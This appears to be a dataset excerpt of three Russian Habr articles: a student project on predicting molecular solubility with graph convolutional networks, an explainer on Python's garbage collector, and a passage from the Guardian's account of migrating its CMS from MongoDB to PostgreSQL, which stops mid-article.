text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Предсказание растворимости молекул с помощью графовых сверточных нейросетей
Пару недель назад мы [начали рассказывать](https://habr.com/ru/company/hsespb/blog/563118/) о проектах, которые стали победителями [Школы по практическому программированию и анализу данных](https://spb.hse.ru/fmcs/programming/) НИУ ВШЭ — Санкт-Петербург и компании JetBrains.
Второе место заняла команда одиннадцатиклассников из СУНЦ МГУ. Ребята реализовали модель, которая предсказывает растворимость веществ, основываясь на SMILES представлении молекул. Что это такое, какие методы машинного обучения можно использовать в этой задаче, и согласуются ли полученные результаты с реальными химическими экспериментами, авторы проекта рассказали в этом посте.
### Команда
В нашей команде было четыре участника: Андрей Шандыбин, Артём Власов, Владимир Свердлов и Захар Кравчук. Все мы в этом году окончили СУНЦ МГУ и уже имели опыт в машинном обучении на спецкурсе по ML в СУНЦ и на сторонних проектах. Нашим куратором была исследователь лаборатории [Machine Learning Applications and Deep Learning](https://research.jetbrains.org/groups/ml_application/) JetBrains Research Алиса Аленичева.
### Постановка проблемы
Растворимость молекул необходимо знать для расчета растворов в реакциях, а также при перекристаллизации. Но проводить эксперименты для определения растворимости очень затратно. В этом проекте мы предложили решение, позволяющее предсказывать растворимость, основываясь только на SMILES представлении (что это расскажем дальше) и некоторых других свойствах молекул. Подобные модели помогут в создании новых материалов и лекарственных средств.
Если формулировать проблему в терминах машинного обучения, то мы решали задачу регрессии, где целевая переменная — логарифм растворимости моль на литр. Для измерения качества модели мы выбрали метрику Root Mean Square Error (RMSE), которая считается по формуле:
### План работы:
1. Предобработать данные и построить baseline модель;
2. Применить графовые сверточные нейросети (GCN);
3. Провести эксперименты;
4. Визуализировать результаты.
### Данные
Мы использовали [ESOL датасет](http://moleculenet.ai/datasets-1)), в котором представлены 1128 различных молекул. Для каждой молекулы было приведено десять параметров и описание ее структуры в формате SMILES. Надо заметить, что это достаточно маленький датасет, из-за этого при разных разбиениях на тренировочную и тестовую выборку результаты варьировались.
Пример датасетаРазберемся, что такое SMILES. [SMILES](https://en.wikipedia.org/wiki/Simplified_molecular-input_line-entry_system) (*Simplified Molecular Input Line Entry System*) — система правил однозначного описания состава и структуры молекулы химического вещества с использованием строки символов ASCII. В дальнейшем с помощью open-source библиотеки RDKit мы сможем извлечь много полезных молекулярных свойств только из SMILES представления молекул.
Реализация класса для загрузки и предобработки датасета
```
class DatasetsHolder:
@staticmethod
def read_datasets(inp_folder_path):
df = pd.read_csv(inp_folder_path)
return df
# return pandas DataFrame
class StandardizeDatasets:
@staticmethod
def standardize_smiles(smi: str) -> Optional[str]:
mol = Chem.MolFromSmiles(smi)
mol = Chem.MolToSmiles(mol)
return mol
"crete typical standardization of one smiles"
@logger.catch()
def standardize(self, inp_path: Path, out_path: Path):
df_reader = DatasetsHolder()
df = df_reader.read_datasets(inp_path)
with Pool(10) as pool:
df['standardize_smiles'] = list(
tqdm(pool.imap(self.standardize_smiles, df.smiles), total=df.shape[0])
)
df.to_csv(out_path, index=False)
return df
"apply standardization to all smiles"
class StandardizeTautomers(StandardizeDatasets):
@staticmethod
def standardize_smiles(smi: str) -> Optional[str]:
Canonicalizer = TautomerCanonicalizer()
mol = Chem.MolFromSmiles(smi)
standorized = Canonicalizer.canonicalize(mol)
return Chem.MolToSmiles(standorized)
# "apply TautomerCanonicalizer() to standardization"
```
### Baseline
В качестве baseline-модели мы выбрали градиентный бустинг (XGBoost). Для начала мы обучили модель только на признаках, представленных в датасете, без учета SMILES.
Реализация функций для получений химических свойств молекул
```
from descriptastorus.descriptors import rdDescriptors
from rdkit import Chem
import logging
from descriptastorus.descriptors import rdNormalizedDescriptors
generator = rdNormalizedDescriptors.RDKit2DNormalized()
def rdkit_2d_features(smiles: str):
features = generator.process(smiles)
if features[0] == False:
print(f'{smiles} were not processed correctly')
return None
else:
return features[1:]
def create_feature_dataframe(df):
feature_names = [x[0] for x in generator.columns]
rdkit_feats = [ ]
for i in range(len(df)):
smiles = df.iloc[i][SMILES_COLUMN]
target_value = df.iloc[i]['measured log solubility in mols per litre']
features = generator.process(smiles)
dictionary = dict(zip(feature_names, features[1:]))
dictionary['target'] = target_value
rdkit_feats.append(dictionary)
return pd.DataFrame(rdkit_feats)
```
Таким образом бейзлайн основывается только на отдельных свойствах молекул, в то время как следующий наш подход, графовые сверточные нейросети, учитывают еще и то, как атомы молекул соотносятся между собой (этот метод будет описан дальше).
Реализация обучения бейзлайна
```
from xgboost import XGBRegressor
X_train = train_data.drop(columns=['target'])
y_train = train_data['target']
X_test = test_data.drop(columns=['target'])
y_test = test_data['target']
model = XGBRegressor()
model.fit(X_train, y_train)
```
### Представление молекул в виде графа
Рассмотрим, как молекула представляется в виде графа. В SMILES содержится описание структуры молекулы. Из курса химии мы знаем, что молекулы можно представить в виде графа, где вершины — это атомы. Молекула состоит из атомов и каждому атому можно сопоставить вектор свойств: атомный номер, количество водорода, степень, заряд, хиральность, гибридизация, ароматичность и масса атома.
Автор — Алиса Аленичева Реализация выделения свойств атомов и матрицу смежности с помощью библиотеки RDkit для представления молекул в виде графа
```
def get_atom_features(mol):
atomic_number = []
num_hs = []
degrees = []
charges = []
tags = []
hybridizations = []
aromatic = []
mass = []
for atom in mol.GetAtoms():
atomic_number.append(atom.GetAtomicNum()) # atomic number
num_hs.append(atom.GetTotalNumHs(includeNeighbors=True)) # number of H in atom
degrees.append(atom.GetTotalDegree()) # total Degree of atom
charges.append(atom.GetFormalCharge()) # Charge of atom
tags.append(int(atom.GetChiralTag())) # chiral tag
hybridizations.append(int(atom.GetHybridization())) # hybridization of atom
if atom.GetIsAromatic(): # Is aromatic of not
aromatic.append(1)
else:
aromatic.append(0)
mass.append(atom.GetMass() * 0.01) # mass
return torch.tensor([atomic_number, num_hs, degrees, charges, tags, hybridizations, aromatic, mass]).t()
def get_edge_index(mol):
row, col = [], []
for bond in mol.GetBonds():
start, end = bond.GetBeginAtomIdx(), bond.GetEndAtomIdx()
row += [start, end]
col += [end, start]
return torch.tensor([row, col], dtype=torch.long)
```
### Fingerprints
Что такое фингерпринт? Фингерпринт — вектор чисел, описывающий структурный состав молекулы, а с появлением машинного обучения — вектор абстрактных свойств молекулы, на основе которого можно делать предсказания молекулярных свойств.Дальше мы рассмотрим несколько видов фингерпринтов.
#### Morgan Fingerprints VS Neural Fingerprints
Моргановский фингерпринт — это универсальный способ представления молекул в виде бинарного вектора, где после конкатенации векторов из свойств атомов применяется хэш-функция.
У этого подхода есть несколько минусов. Во-первых, полученный фингерпринт очень разреженный, из-за чего дальнейшее обучение полносвязной нейросети становится очень затруднительным. Во-вторых, это общий подход, при котором фингерпринты не обучаются, а мы хотим оптимизировать фингерпринт для конкретной задачи. Такой подход называется Neural Fingerprint. Для этого хэширование и конкатенацию заменим на дифференцируемые операции, тогда мы сможем обучать фингерпринт одновременно с полносвязной нейросетью. На картинке ниже схематично изображены способы получения и Моргановских, и обучаемых фингерпринтов.
Автор — Алиса Аленичева#### Message passing
Рассмотрим подробнее как обучаются фингерпринты. В основе их обучения лежит алгоритм Message passing.
Автор — Алиса АленичеваMessage passing — это алгоритм обновления векторов, репрезентирующих атомы. Для каждого атома сначала складываются вектора данного атома и вектора его соседей.
После этого полученный вектор подается на вход в полносвязную нейросеть, тогда на выходе получается обновленный вектор, репрезентирующий атомы. И этот алгоритм повторяется для всех атомов молекулы.
Ниже представлены классы реализующие этот алгоритмы с использованием библиотеки PyTorch Geometric.
Message Passing
```
class GCNConv(MessagePassing):
def __init__(self, in_channels, out_channels):
super(GCNConv, self).__init__(aggr='add') # "Add" aggregation (Step 5).
self.lin = torch.nn.Linear(in_channels, out_channels)
def forward(self, x, edge_index):
# x has shape [N, in_channels]
# edge_index has shape [2, E]
# Step 1: Add self-loops to the adjacency matrix.
edge_index, _ = add_self_loops(edge_index, num_nodes=x.size(0))
# Step 2: Linearly transform node feature matrix.
x = self.lin(x)
# Step 3: Compute normalization.
row, col = edge_index
deg = degree(col, x.size(0), dtype=x.dtype)
deg_inv_sqrt = deg.pow(-0.5)
norm = deg_inv_sqrt[row] * deg_inv_sqrt[col]
# Step 4-5: Start propagating messages.
return self.propagate(edge_index, x=x, norm=norm)
def message(self, x_j, norm):
# x_j has shape [E, out_channels]
# Step 4: Normalize node features.
return norm.view(-1, 1) * x_j
```
Neural loop
```
class NeuralFP(nn.Module):
def __init__(self, atom_features=52, fp_size=50):
super(NeuralFP, self).__init__()
self.atom_features = atom_features
self.fp_size = fp_size
self.loop1 = GCNConv(atom_features, fp_size)
self.loops = nn.ModuleList([self.loop1])
def forward(self, data):
fingerprint = torch.zeros((data.batch.shape[0], self.fp_size), dtype=torch.float).to(device)
out = data.x
for idx, loop in enumerate(self.loops):
updated_fingerprint = loop(out, data.edge_index)
fingerprint += updated_fingerprint
return scatter_add(fingerprint, data.batch, dim=0)
```
### Итоговая архитектура — GCN (Graph Convolutional Network)
После обновления векторов атомов мы также можем их сложить, после чего подать на вход в полносвязной нейросети. Тогда на выходе мы получим фингерпринт.
Автор — Алиса АленичеваПосле полученный фингерпринт мы подадим на вход другой полносвязной нейросети, которая уже и будет делать финальное предсказание растворимости.
Код
```
import torch.nn.functional as F
class MLP_Regressor(nn.Module):
def __init__(self, neural_fp, atom_features=2, fp_size=50, hidden_size=100):
super(MLP_Regressor, self).__init__()
self.neural_fp = neural_fp
self.lin1 = nn.Linear(fp_size , hidden_size)
self.leakyrelu = nn.LeakyReLU(0.2)
self.lin2 = nn.Linear(hidden_size, 1)
self.dropout = nn.Dropout(0.2)
def forward(self, batch):
fp = self.neural_fp(batch)
hidden = self.dropout(self.lin1(fp))
out = self.leakyrelu(self.lin2(hidden))
return out
```
### Эксперименты
Рассмотрим эксперименты, поставленные в процессе работы.
После того, как мы обучили GCN только на SMILES, мы начали добавлять дополнительные фичи. То есть после получения фингерпринта к нему конкатенировали различные данные, после чего делали финальные предсказания. Сначала мы добавили 200 дополнительных параметров, которые были получены при построении бейзлайна. Затем попробовали к обучаемым фингерпринтам добавить Моргановские фингерпринты.
Реализация класса MLP regressor с добавлением различный свойств
```
class MLP_Regressor(nn.Module):
def __init__(self, neural_fp, atom_features=2, fp_size=100, hidden_size=300, num_additional_features = 207):
super(MLP_Regressor, self).__init__()
self.neural_fp = neural_fp
self.lin1 = nn.Linear(fp_size+num_additional_features, hidden_size)
self.leakyrelu = nn.LeakyReLU(0.2)
self.lin2 = nn.Linear(hidden_size, 1)
self.dropout = nn.Dropout(0.2)
def forward(self, batch, additional_features):
fp = self.neural_fp(batch)
fp = torch.cat((fp, additional_features), dim=1)
hidden = self.dropout(self.lin1(fp))
out = self.leakyrelu(self.lin2(hidden))
return out
```
Так как мы хотели оптимизировать фингерпринты под нашу конкретную задачу, то подумали, что результаты градиентного бустинга могут улучшится, если добавить оптимизированные фингерпринты.
### Результаты
Для измерения результатов моделей использовалось 10% всех данных, а для тренировки — 90%. На этой диаграмме представлены результаты наших экспериментов. По оси абсцисс представлены модели, по оси ординат — RMSE.
1 — XGB baseline, 2 — XGB 5 Folds, 3 — XGB Grid Search, 4 — XGB additional features, 5 — LGBM additional features, 6 — GCN Neural Fingerprints, 7 — GCN with additional features 10 Folds, 8 — XGB with GCN Fingerprints, 9 — GCN additional features, 10 — GCN with morgan Fingerprints.Как мы видим, градиентный бустинг показал достаточно хорошие результаты, но графовые нейросети все-таки оказались лучше. Надо заметить, что так как датасет маленький, результаты могут варьироваться при разных разбиениях на тренировочную и тестовую выборку.
### Визуализация модели
В этом разделе мы попытаемся проинтерпретировать полученную нами модель. После обучения модели мы выделяем те подструктуры молекулы, которые сильнее всего активируют биты обученного фингерпринта, коррелирующие с предсказанной растворимостью ([оригинальная статья](https://arxiv.org/pdf/1509.09292.pdf)). После этого мы посмотрим, соответствуют ли свойства, выделенные нашей моделью, свойствам, которые влияют на растворимость с точки зрения химии.
Как мы видим, наша модель выделила наличие гидроксильных и ароматических групп как наиболее важные признаки для предсказания растворимости. Это доказывает, что у нас получилась достаточно хорошая модель: из курса химии мы знаем, что гидроксильные группы создают водородные связи с водой, а ароматические группы довольно устойчивы из-за хорошо распределенной электронной плотности, и поэтому часто плохо растворимы. Таким образом, мы смогли проинтерпретировать и еще раз оценить качество полученной нами модели.
### Улучшения
Данный проект можно улучшить, использовав не только свойства атомов, но и свойства связей в молекуле. А также алгоритм Directed Message Passing (DMPNN), который является усовершенствованной версией использованного алгоритма Message Passing. Так как на выполнение проекта у нас была всего неделя, мы не использовали алгоритм DMPNN, потому что на его реализацию ушло бы намного больше времени. Но в будущем мы хотим продолжить работать над этим проектом и попробовать подход DMPNN.
Еще одним существенным улучшением станет обучение модели на датасете большего размера. К сожалению, [ESOL](http://moleculenet.ai/datasets-1)), который мы использовали, — один из самых больших датасетов, находящихся в открытом доступе. Другие датасеты принадлежат частным компаниям и открыто не публикуются.
### Заключение
Нам очень понравилось заниматься этим проектом в рамках школы. Мы получили ценный опыт работы над реальным проектом, который поможет нам в дальнейшем продвигаться в области машинного обучения.
Также хотим выразить благодарность нашему куратору Алисе, которая помогала нам на протяжении всей смены, и без которой данный проект не был бы возможен.
---
**Другие материалы из нашего блога о проектах старшеклассников и студентов первого курса:**
* [Обучение с подкреплением в Super Mario Bros. Сравнение алгоритмов DQN и Dueling DQN](https://habr.com/ru/company/hsespb/blog/563118/)
* [Одежда умная, но мы умнее: как мы делали футболку с контролем осанки](https://habr.com/ru/company/hsespb/blog/513794/)
* [Написать игровой движок на первом курсе: легко! (ну почти)](https://habr.com/ru/company/hsespb/blog/504776/) | https://habr.com/ru/post/565650/ | null | ru | null |
# Всё, что нужно знать о сборщике мусора в Python
Как правило, вам не нужно беспокоиться о сборщике мусора и работе с памятью когда вы пишете код на Python. Как только объекты больше не нужны, Python автоматически освобождает память из под них. Несмотря на это, понимание как работает GC поможет писать более качественный код.
#### Менеджер памяти
В отличие от других популярных языков, Python не освобождает всю память обратно операционной системе как только он удаляет какой либо объект. Вместо этого, он использует дополнительный менеджер памяти, предназначенный для маленьких объектов (размер которых меньше чем 512 байт). Для работы с такими объектами он выделяет большие блоки памяти, в которых в дальнейшем будет хранится множество маленьких объектов.
Как только один из маленьких объект удаляется — память из под него не переходит операционной системе, Python оставляет её для новых объектов с таким же размером. Если в одном из выделенных блоков памяти не осталось объектов, то Python может высвободить его операционной системе. Как правило, высвобождение блоков случается когда скрипт создает множество временных объектов.
Таким образом, если долгоживущий Python процесс с течением времени начинает потреблять больше памяти, то это совсем не означает, что в вашем коде есть проблема с утечкой памяти. Если вы хотите узнать больше о менеджере памяти в Python, вы можете прочитать об этом в [другой моей статье](https://rushter.com/blog/python-memory-managment/) (англ.).
#### Алгоритмы сборки мусора
Стандартный интерпретатор питона (CPython) использует сразу два алгоритма, подсчет ссылок и generational garbage collector (далее GC), более известный как стандартный [модуль gc](https://docs.python.org/3.6/library/gc.html) из Python.
Алгоритм подсчета ссылок очень простой и эффективный, но у него есть один большой недостаток. Он не умеет определять циклические ссылки. Именно из-за этого, в питоне существует дополнительный сборщик, именуемый поколенческий GC, который следит за объектами с потенциальными циклическими ссылками.
В Python, алгоритм подсчета ссылок является фундаментальным и не может отключен, тогда как GC опционален и может быть отключен.
#### Алгоритм подсчета ссылок
Алгоритм подсчета ссылок это одна из самых простых техник для сборки мусора. Объекты удаляются как только на них больше нет ссылок.
В Python, переменные не хранят значения, а выступают в роли ссылок на объекты. То есть когда вы присваивайте значение новой переменной, то сначала создается объект с этим значением, а уже потом переменная начинает ссылаться на него. На один объект может ссылаться множество переменных.
Каждый объект в Python содержит дополнительное поле (счетчик ссылок), в котором хранится количество ссылок на него. Как только кто-то ссылается на объект, это поле увеличивается на единицу. Если по какой-то причине ссылка пропадает, то это поле уменьшается на один.
Примеры, когда количество ссылок увеличивается:
* оператор присваивания
* передача аргументов
* вставка нового объекта в лист (увеличивается количество ссылок для объекта)
* конструция вида foo = bar (foo начинается ссылаться на тот же объект, что и bar)
Как только счетчик ссылок для определенного объекта достигает нуля интерпретатор запускает процесс уничтожения объекта. Если удаленный объект содержал ссылки на другие объекты, то эти ссылки также удаляются. Таким образом, удаление одного объекта может повлечь за собой удаление других.
Например, если удаляется список, то счетчик ссылок во всех его элементах уменьшается на один. Если все объекты внутри списка больше нигде не используются, то они также будут удалены.
Переменные, которые объявлены вне функций, классов и блоков называются глобальными. Как правило, жизненный цикл таких переменных равен жизни Python процесса. Таким образом, количество ссылок на объекты на которые ссылаются глобальные переменные никогда не падает до нуля.
Переменные, которые объявлены внутри блока (функции, класса) имеют локальную видимость (т.е. они видны только внутри блока). Как только интерпретатор питона выходит из блока он уничтожает все ссылки созданные локальными переменными внутри него.
Вы всегда можете проверить количество ссылок используя функцию `sys.getrefcount`.
Пример работы счетчика ссылок:
```
foo = []
# 2 ссылки, одна от переменной foo и одна от getrefcount
print(sys.getrefcount(foo))
def bar(a):
# 4 ссылки
# от foo, аргумента функции (a), getrefcount и одна от стека вызова функции
print(sys.getrefcount(a))
bar(foo)
# 2 ссылки, локальные ссылки внутри функции уничтожены
print(sys.getrefcount(foo))
```
Основная причина, из-за которой стандартный интерпретатор (CPython) использует счетчик ссылок, является исторической. В настоящее время можно встретить множество дебатов по поводу данного подхода. Некоторые люди считают, что сборщик мусора может быть намного эффективней без участия алгоритма подсчета ссылок. У данного алгоритма есть множество проблем, таких как циклические ссылки, блокирование потоков, а также дополнительные накладные расходы на память и cpu.
Основным плюсом этого алгоритма является то, что объекты удаляются сразу как только они не нужны.
#### Дополнительный сборщик мусора
Зачем нам нужен дополнительный алгоритм, когда у нас уже есть подсчет ссылок?
К сожалению, классический алгоритм подсчета ссылок имеет один большой недостаток — он не умеет находить циклические ссылки. Циклические ссылки происходят когда один или более объектов ссылаются на друг друга.
Два примера:
Как вы можете видеть, объект `lst` ссылается сам на себя, тогда как `object1` и `object2` ссылаются друг на друга. Для таких объектов счетчик ссылок всегда будет равен 1.
Демонстрация на Python:
```
import gc
# используется ctypes для доступа к объектам по адресу памяти
class PyObject(ctypes.Structure):
_fields_ = [("refcnt", ctypes.c_long)]
gc.disable() # выключаем циклический GC
lst = []
lst.append(lst)
# сохраняем адрес списка lst
lst_address = id(lst)
# удаляем ссылку lst
del lst
object_1 = {}
object_2 = {}
object_1['obj2'] = object_2
object_2['obj1'] = object_1
obj_address = id(object_1)
# удаляем ссылки
del object_1, object_2
# раскомментируйте для запуска ручной сборки объектов с циклическими ссылками
# gc.collect()
# проверяем счетчик ссылок
print(PyObject.from_address(obj_address).refcnt)
print(PyObject.from_address(lst_address).refcnt)
```
В примере выше, инструкция del удаляет ссылки на наши объекты (не сами объекты). Как только Python выполняет инструкцию del эти объекты становятся недоступны из Python кода. Однако, с выключенным модулем gc они по прежнему будут оставаться в памяти, т.к. они имели циклические ссылки и их счетчик по прежнему равен единице. Вы можете визуально исследовать такие связи используя библиотеку `objgraph`.
Для того, чтобы исправить эту проблему, в Python 1.5 был добавлен дополнительный алгоритм, известный как [модуль gc](https://docs.python.org/3.6/library/gc.html). Единственная задача которого удаление циклических объектов, к которым уже нет доступа из кода.
Циклические ссылки могут происходить только в “контейнерных” объектах. Т.е. в объектах, которые могут хранить другие объекты, например в списках, словарях, классах и кортежах. GC не следит за простыми и неизменяемыми типами, за исключением кортежей. Некоторые кортежи и словари так же исключаются из списка слежки при выполнении определенных условий. Со всеми остальными объектами гарантированно справляется алгоритм подсчета ссылок.
#### Когда GC срабатывает
В отличие от алгоритма подсчета ссылок, циклический GC не работает в режиме реального времени и запускается периодически. Каждый запуск сборщика создаёт микропаузы в работе кода, поэтому CPython (стандартный интерпретатор) использует различные эвристики, для определения частоты запуска сборщика мусора.
Циклический сборщик мусора разделяет все объекты на 3 поколения (генерации). Новые объекты попадают в первое поколение. Если новый объект выживает процесс сборки мусора, то он перемещается в следующее поколение. Чем выше поколение, тем реже оно сканируется на мусор. Так-как новые объекты зачастую имеют очень маленький срок жизни (являются временными), то имеет смысл опрашивать их чаще, чем те, которые уже прошли через несколько этапов сборки мусора.
В каждой генерации есть специальный счетчик и порог срабатывания, при достижении которых срабатывает процесс сборки мусора. Каждый счетчик хранит количество аллокаций минус количество деаллокаций в данной генерации. Как только в Python создается какой либо контейнерный объект, он проверяет эти счетчики. Если условия срабатывают, то начинается процесс сборки мусора.
Если сразу несколько или больше поколений преодолели порог, то выбирается наиболее старшее поколение. Это сделано из-за того, что старые поколения также сканируют все предыдущие. Чтобы сократить число пауз сборки мусора для долгоживущих объектов, самая старшая генерация имеет [дополнительный набор условий](https://github.com/python/cpython/blob/051295a8c57cc649fa5eaa43526143984a147411/Modules/gcmodule.c#L94).
Стандартные пороги срабатывания для поколений установлены на `700, 10 и 10` соответственно, но вы всегда можете их изменить с помощью функций `gc.get_threshold и gc.set_threshold`.
#### Алгоритм поиска циклов
Для полноценного описания алгоритма поиска циклов потребуется отдельная статья. Если кратко, то GC итерирует каждый объект из выбранных поколений и временно удаляет все ссылки от отдельно взятого объекта (все ссылки на которые этот объект ссылается). После полного прохода, все объекты, у которых счетчик ссылок меньше двух считаются недоступными из питона и могут быть удалены.
Для более глубокого понимания я рекомендую прочитать (прим. переводчика: английский материал) [оригинальное описание алгоритма от Neil Schemenauer](http://arctrix.com/nas/python/gc/) и функцию `collect` из [исходников CPython](https://github.com/python/cpython/blob/7d6ddb96b34b94c1cbdf95baa94492c48426404e/Modules/gcmodule.c#L902). Описание из [Quora](https://www.quora.com/How-does-garbage-collection-in-Python-work-What-are-the-pros-and-cons) и [пост о сборщике мусора](https://pythoninternal.wordpress.com/2014/08/04/the-garbage-collector/) так же могут быть полезны.
Стоит отметить, что проблема с деструкторами описанная в оригинальном описании алгоритма была исправлена начиная с Python 3.4 (подробнее в [PEP 442](http://legacy.python.org/dev/peps/pep-0442/)).
#### Советы по оптимизации
Циклы зачастую случаются в реальных задачах, их можно встретить в задачах с графами, связными списками или в структурах данных, где требуется вести учёт отношений между объектами. Если ваша программа имеет высокую нагрузку и требовательна к задержкам, то, по возможности, циклы лучше избегать.
В местах, где вы заведомо используйте циклические ссылки, можно использовать «слабые» ссылки. Слабые ссылке реализованы в модуле [weakref](https://docs.python.org/3/library/weakref.html) и в отличие от обычных ссылок никак не влияют на счётчик ссылок. Если объект со слабой ссылок оказывается удалённым, то вместо него возвращается `None`.
В некоторых случаях полезно отключить автоматическую сборку модулем gc и вызывать его вручную. Для этого достаточно вызывать `gc.disable()` и в дальнейшем вызывать `gc.collect()` вручную.
#### Как найти и отладить циклические ссылки
Отладка циклов может быть мучительной, особенно если в вашем коде используется множество сторонних модулей.
Модуль gc предоставляет вспомогательные функции, которые могут помочь в отладке. Если параметры GC установить на флаг `DEBUG_SAVEALL`, то все недоступные объекты будут добавлены в список `gc.garbage`.
```
import gc
gc.set_debug(gc.DEBUG_SAVEALL)
print(gc.get_count())
lst = []
lst.append(lst)
list_id = id(lst)
del lst
gc.collect()
for item in gc.garbage:
print(item)
assert list_id == id(item)
```
Как только вы определите проблемное место — его можно визуализировать с помощью [objgraph](https://mg.pov.lt/objgraph/).
##### Заключение
Основной процесс сборки мусора выполняется алгоритмом подсчета ссылок, который очень простой и не имеет настроек. Дополнительный алгоритм используется только для поиска и удаления объектов с циклическими ссылками.
Не стоит заниматься преждевременной оптимизацией кода под сборщик мусора, на практике серьёзне проблемы со сборкой мусора встречаются довольно редко.
P.S.: Я являюсь автором этой статьи, можете задавать любые вопросы. | https://habr.com/ru/post/417215/ | null | ru | null |
# Миграция с Mongo на Postgres: опыт газеты The Guardian
The Guardian — одна из крупнейших британских газет, она основана в 1821 году. За без малого 200 лет существования архив накопился изрядный. По счастью, далеко не весь он хранится на сайте — всего за какие-то последние пару десятков лет. В базе данных, которую сами англичане назвали «источником истины» для всего онлайн-контента, около 2,3 млн элементов. И в один прекрасный момент они осознали необходимость миграции с Mongo на Postgres SQL — после того, как одним жарким июльским днём в 2015 году процедуры аварийного переключения были подвергнуты суровому испытанию. Миграция заняла без малого 3 года!..
Мы перевели [статью](https://www.theguardian.com/info/2018/nov/30/bye-bye-mongo-hello-postgres), в которой рассказывается, как проходил процесс миграции и с какими сложностями столкнулись администраторы. Процесс долгий, но резюме простое: приступая к большой задаче, смиритесь, что ошибки будут обязательно. Но в конечном итоге, 3 года спустя, британским коллегам удалось отпраздновать окончание миграции. И поспать.
#### **Часть первая: начало**
В Guardian большая часть контента, включая статьи, блоги, фотогалереи и видео, производится внутри нашей собственной CMS — Composer. До недавнего времени Composer взаимодействовал с Mongo DB, работающей на платформе AWS. Эта БД по существу была «источником истины» для всего онлайн контента Guardian — около 2,3 млн элементов. И мы только что завершили миграцию с Mongo на Postgres SQL.
Composer и его БД первоначально размещались в Guardian Cloud — ЦОД в подвале нашего офиса недалеко от Кингс-Кросс, с аварийным переключением в другом месте в Лондоне. Одним [жарким июльским днем в 2015 году](https://www.theguardian.com/uk-news/live/2015/jul/01/heatwave-live-britain-hottest-day-2015) наши процедуры аварийного переключения были подвергнуты довольно суровому испытанию.
*Жара: хороша для танцев у фонтана, губительна для ЦОД. Фотография: Сара Ли / Guardian*
После этого миграция Guardian на AWS стала вопросом жизни и смерти. Для миграции в облако мы решили приобрести [OpsManager](https://www.mongodb.com/products/ops-manager), программное обеспечение для управления Mongo DB, и подписали контракт на техподдержку Mongo. Мы использовали OpsManager для управления резервными копиями, оркестрации и мониторинга нашего кластера БД.
Из-за редакционных требований нам нужно было запустить кластер БД и OpsManager на нашей собственной инфраструктуре в AWS, а не использовать managed-решение Mongo. Нам пришлось попотеть, так как Mongo не предоставлял никаких инструментов для легкой настройки на AWS: мы вручную оформляли всю инфраструктуру и написали [сотни скрпитов Ruby](https://github.com/guardian/machine-images/tree/master/packer/resources/features/mongo24) для установки агентов мониторинга/автоматизации и оркестрации новых экземпляров БД. В итоге нам пришлось организовать в команде сеансы ликбеза об управлении БД — то, что мы надеялись, OpsManager возьмёт на себя.
С момента перехода на AWS у нас было два существенных сбоя из-за проблем с БД, каждый из которых не давал сделать публикацию на сайте theguardian.com по крайней мере в течение часа. В обоих случаях ни OpsManager, ни сотрудники техподдержки Mongo не смогли оказать нам достаточную помощь, и мы решили проблему сами — в одном случае благодаря [члену нашей команды](https://github.com/sihil), который сумел разобраться с ситуацией по телефону из пустыни на окраине Абу-Даби.
Каждый из проблемных вопросов заслуживает отдельного поста, но вот общие моменты:
* Обращайте пристальное внимание на время — не блокируйте доступ к своему VPC до такой степени, чтобы NTP перестал работать.
* Автоматическое создание индексов БД при запуске приложения — плохая идея.
* Управление БД крайне важно и трудно — и мы не хотели бы делать это сами.
OpsManager не сдержал свои обещания о простом управлении БД. Например, фактическое управление самим OpsManager — в частности, обновление с OpsManager версии 1 до версии 2 — потребовало много времени и специальных знаний о нашей настройке OpsManager. Он также не выполнил свое обещание «обновления одним щелчком мыши» из-за изменений в схеме аутентификации между различными версиями Mongo DB. Мы теряли по крайней мере два месяца времени инженеров в год на управление БД.
Все эти проблемы, в сочетании со значительной годовой платой, которую мы платили за контракт на поддержку и OpsManager, заставили нас искать альтернативный вариант БД со следующими характеристиками:
* Минимальные усилия на управление БД.
* Шифрование в состоянии покоя.
* Приемлемый путь миграции с Mongo.
Поскольку все остальные наши сервисы работают в AWS, очевидным выбором стал Dynamo — база данных NoSQL от Amazon. К сожалению, в то время Dynamo не поддерживала шифрование данных в состоянии покоя (encryption at rest). Прождав около девяти месяцев, пока эта функция будет добавлена, мы в конечном итоге бросили эту идею, решив использовать Postgres на AWS RDS.
«Но Postgres — это не хранилище документов!” — возмутитесь вы… Ну да, это не хранилище доков, но у него есть таблицы, сходные столбцам JSONB, с поддержкой индексов в полях инструмента JSON Blob. Мы надеялись, что, используя JSONB, мы сможем мигрировать с Mongo на Postgres с минимальными изменениями в нашей модели данных. Кроме того, если бы мы хотели перейти к более реляционной модели в будущем, у нас была бы такая возможность. Еще одна замечательная вещь в Postgres — это то, насколько он отработан: на каждый вопрос, который у нас возникал, в большинстве случаев уже был дан ответ в Stack Overflow.
С точки зрения производительности мы были уверены, что Postgres справится: Composer — это инструмент исключительно для записи контента (запись в БД он делает каждый раз, когда журналист перестает печатать), и обычно количество одновременных пользователей не превышает несколько сотен — что не требует от системы сверхвысоких мощностей!
**#### Часть вторая: миграция контента двух десятилетий прошла без простоев**
**План**
Большинство миграций БД подразумевает одни и те же действия, и наша не стала исключением. Вот что мы сделали:
* Создали новую базу данных.
* Создали способ записи в новую БД (новый API).
* Создали прокси-сервер, который отправляет трафик как в старую, так и в новую БД, используя старую в качестве основной.
* Перенесли записи из старой БД в новую.
* Сделали новую БД основной.
* Удалили старую БД.
Учитывая, что БД, на которую мы мигрировали, обеспечивала функционирование нашей CMS, было критически важно, чтобы миграция вызвала как можно меньше неполадок в работе для наших журналистов. В конце концов, новости никогда не заканчиваются.
**Новый API**
Работа над новым API на основе Postgres началась в конце июля 2017 года. Это стало началом нашего путешествия. Но чтобы понять, каким оно было, надо сначала разъяснить, откуда мы стартовали.
Наша упрощенная архитектура CMS была примерно такой: база данных, API и несколько приложений, связанных с ней (например, пользовательский интерфейс). Стек был построен и вот уже 4 года функционирует на основе [Scala](https://www.scala-lang.org), [Scalatra Framework](http://scalatra.org) и [Angular.js](https://angularjs.org).
После некоторого анализа мы пришли к выводу, что, прежде чем мы сможем перенести существующий контент, нам нужен способ связываться с новой БД PostgreSQL, поддерживая старый API в рабочем состоянии. В конце концов, Mongo DB это наш „источник истины“. Она служила нам спасательным кругом, пока мы экспериментировали с новым API.
